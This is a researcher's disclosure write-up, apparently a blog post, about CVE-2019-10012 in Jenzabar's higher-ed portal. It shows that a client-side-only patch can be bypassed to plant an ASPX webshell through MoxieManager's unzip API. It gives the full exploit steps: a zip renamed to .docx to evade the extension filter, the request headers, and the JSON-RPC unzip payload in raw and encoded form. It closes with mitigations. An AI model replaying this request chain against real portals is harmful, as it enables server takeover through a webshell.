Critical vulnerability in Higher Ed ERP, Pt II

CVE-2019–10012
tl;dr: Higher Ed SIS vendor issues patch against critical webshell vulnerability — hours later I demonstrated how to bypass the patch to get a webshell. Again.

If you haven’t read it yet, Part I is here, https://medium.com/@mdavis332/critical-vulnerability-in-higher-ed-erp-55580f8880c, and provides some background.

Part II

Jenzabar issued a patch against the MoxieManager vulnerability in their product within 36 hours of getting in touch with me. That’s the good news. The bad news is that the patch consisted of a single JavaScript file which simply removed the “Zip,” “Unzip,” and “Info” options from the right-click and “Manage” menus in MoxieManager. I set out to prove that simply removing the option from the client-side did nothing to stop the server-side API from happily obliging a request to complete the request if it did come through. Here’s a rundown:

• I needed to figure out what the browser sends the server when the “Unzip” option was chosen on the client, but I’m not a webdev so I had trouble finding where exactly to look in browser Dev Tools to find my answer
• Instead, I opted to open up Burp Suite and put it in “intercept” mode (MITM proxy) and capture the browser requests that way
• Bingo, I found my browser’s POST method call to api.ashx and the accompanying header/body parameters
• Now I just needed to be able to craft a custom POST method call against that api.ashx with an appropriate JSON payload against a patched server to see if the Unzip functionality still works on the server (my hunch was that it would)
• I zipped my webshell.aspx to file.zip on my local system and renamed it to file.docx to get past the file extension filter
• I uploaded file.docx through MoxMan
• In my browser’s Dev Tools, I took note of my authenticated session cookie including ASP.NET_SessionId and .ASPXAUTH, along with the CSRF my POST methods were calling
• I used Restlet Client to construct my POST method call against https://portal.domain.edu/ICS/UI/Common/Scripts/tinymce/plugins/moxiemanager/api.ashx with the following headers:

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://portal.domain.edu/ics
Accept-Encoding: gzip, deflate
Cookie: ASP.NET_SessionId=<yourSessionId>; .ASPXAUTH=<yourAuthId>;   .sessionheartbeat=10/25/2018 5:24:52 PM
Origin: https://portal.domain.edu

• Then I constructed a JSON payload to go into the POST body. I started off with:

json={“id”:”i5",”method”:”unzip”,”params”:{“from”:”/user/file.docx”,”to”:”/user”},”jsonrpc”:”2.0"}&csrf=<yourCsrf>

where you substitute in your own username for “user” and your own CSRF from above

• Then I had to encode the JSON payload to hex like so:

json=%7B%22id%22%3A%22i5%22%2C%22method%22%3A%22unzip%22%2C%22params%22%3A%7B%22from%22%3A%22%2Fuser%2Ffile.docx%22%2C%22to%22%3A%22%2Fuser%22%7D%2C%22jsonrpc%22%3A%222.0%22%7D&csrf=<yourCsrf>

Restlet Client settings

• After I sent the totally assembled POST against the api.ashx, I received a response similar to this:

{"jsonrpc":"2.0","result":[{"path":"/user/webshell.aspx","size":10713,"lastModified":1540502964,"isFile":true,"canRead":true,"canWrite":true,"canEdit":false,"canRename":false,"canView":false,"canPreview":false,"visible":false,"exists":true,"meta":{"url":"https://portal.domain.edu/ICS/staticpages/getfile.aspx?target=/moxiemanager/files/users/40a1c7b7-3de2-4851-9c52-148967a4a577/webshell.aspx"}}],"id":"i5"}

• The webshell was now intact in my user directory and again I could access it like before: https://portal.domain.edu/ICSFileServer/moxiemanager/files/users/40a1c7b7–3de2–4851–9c52–148967a4a577/webshell.aspx

Later while looking through Firefox’s Dev Tools, I discovered I could find the POST calls without needing Burp Suite by looking under the Firefox Dev Tools “Network” tab. Once I clicked the JavaScript menu link on the webpage with the “Network” tab open, it showed me the POST call to apix.ashx. When I clicked that POST call in Dev Tools, I could find everything I would have needed under the “Headers,” “Cookies,” and “Params” tabs within the “Network” tab. Lesson learned for next time!

Firefox Dev Tools “Network” tab

Mitigations

• In IIS, disable execution within any user up-loadable directory. Mitigate on your own as a platform user and don’t solely rely on the vendor. Trust, but verify.
• Have logging, ship it to a SIEM, alert on anything suspicious (like cmd.exe or powershell.exe launching as your IIS user).
• Where possible, disable plugins that aren’t being used (e.g., Moxie Manager).

Any other ideas for simpler ways to do what I did? Let me know in the comments.

2019-Mar-24: CVE-2019–10012 issued for this vuln